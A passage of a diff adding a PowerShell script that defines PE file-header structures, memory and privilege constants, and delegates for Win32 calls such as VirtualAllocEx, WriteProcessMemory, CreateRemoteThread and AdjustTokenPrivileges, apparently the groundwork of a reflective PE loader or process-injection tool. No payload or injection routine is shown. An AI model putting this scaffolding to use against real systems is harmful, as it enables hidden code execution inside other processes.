+ $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
452
+ $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
453
+ $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
454
+ $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
455
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
456
+
457
+ #Struct IMAGE_NT_HEADERS32
458
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
459
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
460
+ $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
461
+ $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
462
+ $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
463
+ $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
464
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
465
+
466
+ #Struct IMAGE_DOS_HEADER
467
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
468
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
469
+ $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
470
+ $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
471
+ $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
472
+ $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
473
+ $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
474
+ $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
475
+ $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
476
+ $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
477
+ $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
478
+ $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
479
+ $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
480
+ $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
481
+ $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
482
+ $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
483
+
484
+ $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
485
+ $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
486
+ $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
487
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
488
+ $e_resField.SetCustomAttribute($AttribBuilder)
489
+
490
+ $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
491
+ $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
492
+
493
+ $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
494
+ $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
495
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
496
+ $e_res2Field.SetCustomAttribute($AttribBuilder)
497
+
498
+ $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
499
+ $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
500
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
501
+
502
+ #Struct IMAGE_SECTION_HEADER
503
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
504
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
505
+
506
+ $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
507
+ $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
508
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
509
+ $nameField.SetCustomAttribute($AttribBuilder)
510
+
511
+ $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
512
+ $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
513
+ $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
514
+ $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
515
+ $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
516
+ $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
517
+ $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
518
+ $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
519
+ $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
520
+ $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
521
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
522
+
523
+ #Struct IMAGE_BASE_RELOCATION
524
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
525
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
526
+ $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
527
+ $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
528
+ $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
529
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
530
+
531
+ #Struct IMAGE_IMPORT_DESCRIPTOR
532
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
533
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
534
+ $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
535
+ $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
536
+ $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
537
+ $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
538
+ $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
539
+ $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
540
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
541
+
542
+ #Struct IMAGE_EXPORT_DIRECTORY
543
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
544
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
545
+ $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
546
+ $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
547
+ $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
548
+ $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
549
+ $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
550
+ $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
551
+ $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
552
+ $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
553
+ $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
554
+ $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
555
+ $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
556
+ $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
557
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
558
+
559
+ #Struct LUID
560
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
561
+ $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
562
+ $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
563
+ $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
564
+ $LUID = $TypeBuilder.CreateType()
565
+ $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
566
+
567
+ #Struct LUID_AND_ATTRIBUTES
568
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
569
+ $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
570
+ $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
571
+ $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
572
+ $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
573
+ $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
574
+
575
+ #Struct TOKEN_PRIVILEGES
576
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
577
+ $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
578
+ $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
579
+ $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
580
+ $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
581
+ $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
582
+
583
+ return $Win32Types
584
+ }
585
+
586
+ Function Get-Win32Constants
587
+ {
588
+ $Win32Constants = New-Object System.Object
589
+
590
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
591
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
592
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
593
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
594
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
595
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
596
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
597
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
598
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
599
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
600
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
601
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
602
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
603
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
604
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
605
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
606
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
607
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
608
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
609
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
610
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
611
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
612
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
613
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
614
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
615
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
616
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
617
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
618
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
619
+
620
+ return $Win32Constants
621
+ }
622
+
623
+ Function Get-Win32Functions
624
+ {
625
+ $Win32Functions = New-Object System.Object
626
+
627
+ $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
628
+ $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
629
+ $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
630
+ $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
631
+
632
+ $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
633
+ $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
634
+ $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
635
+ $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
636
+
637
+ $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
638
+ $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
639
+ $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
640
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
641
+
642
+ $memsetAddr = Get-ProcAddress msvcrt.dll memset
643
+ $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
644
+ $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
645
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
646
+
647
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
648
+ $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
649
+ $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
650
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
651
+
652
+ $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
653
+ $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
654
+ $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
655
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
656
+
657
+ $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
658
+ $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
659
+ $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
660
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
661
+
662
+ $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
663
+ $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
664
+ $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
665
+ $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
666
+
667
+ $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
668
+ $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
669
+ $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
670
+ $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
671
+
672
+ $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
673
+ $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
674
+ $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
675
+ $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
676
+
677
+ $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
678
+ $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
679
+ $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
680
+ $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
681
+
682
+ $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
683
+ $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
684
+ $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
685
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
686
+
687
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
688
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
689
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
690
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
691
+
692
+ $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
693
+ $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
694
+ $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
695
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
696
+
697
+ $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
698
+ $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
699
+ $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
700
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
701
+
702
+ $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
703
+ $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
704
+ $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
705
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
706
+
707
+ $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
708
+ $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
709
+ $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
710
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
711
+
712
+ $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
713
+ $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
714
+ $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
715
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
716
+
717
+ $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
718
+ $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
719
+ $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
720
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
721
+
722
+ $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
723
+ $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
724
+ $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
725
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
726
+
727
+ $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
728
+ $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
729
+ $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
730
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
731
+
732
+ $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
733
+ $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
734
+ $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
735
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
736
+
737
+ $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
738
+ $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
739
+ $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
740
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
741
+
742
+ $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
743
+ $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
744
+ $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
745
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
746
+
747
+ $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
748
+ $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
749
+ $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
750
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
751
+
752
+ $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
753
+ $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
754
+ $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
755
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
756
+
757
+ return $Win32Functions
758
+ }
759
+ #####################################
760
+
761
+
762
+ #####################################
763
+ ########### HELPERS ############
764
+ #####################################
765
+
766
+ #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
767
+ #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
768
+ Function Sub-SignedIntAsUnsigned
769
+ {
770
+ Param(
771
+ [Parameter(Position = 0, Mandatory = $true)]
772
+ [Int64]
773
+ $Value1,
774
+
775
+ [Parameter(Position = 1, Mandatory = $true)]
776
+ [Int64]
777
+ $Value2
778
+ )
779
+
780
+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
781
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
782
+ [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
783
+
784
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
785
+ {
786
+ $CarryOver = 0
787
+ for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
788
+ {
789
+ $Val = $Value1Bytes[$i] - $CarryOver
790
+ #Sub bytes
791
+ if ($Val -lt $Value2Bytes[$i])
792
+ {
793
+ $Val += 256
794
+ $CarryOver = 1
795
+ }
796
+ else
797
+ {
798
+ $CarryOver = 0
799
+ }
800
+
801
+
802
+ [UInt16]$Sum = $Val - $Value2Bytes[$i]
803
+
804
+ $FinalBytes[$i] = $Sum -band 0x00FF
805
+ }
806
+ }
807
+ else
808
+ {
809
+ Throw "Cannot subtract bytearrays of different sizes"
810
+ }
811
+
812
+ return [BitConverter]::ToInt64($FinalBytes, 0)
813
+ }
814
+
815
+
816
+ Function Add-SignedIntAsUnsigned
817
+ {
818
+ Param(
819
+ [Parameter(Position = 0, Mandatory = $true)]
820
+ [Int64]
821
+ $Value1,
822
+
823
+ [Parameter(Position = 1, Mandatory = $true)]
824
+ [Int64]
825
+ $Value2
826
+ )
827
+
828
+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
829
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
830
+ [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
831
+
832
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
833
+ {
834
+ $CarryOver = 0
835
+ for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
836
+ {
837
+ #Add bytes
838
+ [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
839
+
840
+ $FinalBytes[$i] = $Sum -band 0x00FF
841
+
842
+ if (($Sum -band 0xFF00) -eq 0x100)
843
+ {
844
+ $CarryOver = 1
845
+ }
846
+ else
847
+ {
848
+ $CarryOver = 0
849
+ }
850
+ }
851
+ }
852
+ else
853
+ {
854
+ Throw "Cannot add bytearrays of different sizes"
855
+ }
856
+
857
+ return [BitConverter]::ToInt64($FinalBytes, 0)
858
+ }
859
+
860
+
861
+ Function Compare-Val1GreaterThanVal2AsUInt
862
+ {
863
+ Param(
864
+ [Parameter(Position = 0, Mandatory = $true)]
865
+ [Int64]
866
+ $Value1,
867
+
868
+ [Parameter(Position = 1, Mandatory = $true)]
869
+ [Int64]
870
+ $Value2
871
+ )
872
+
873
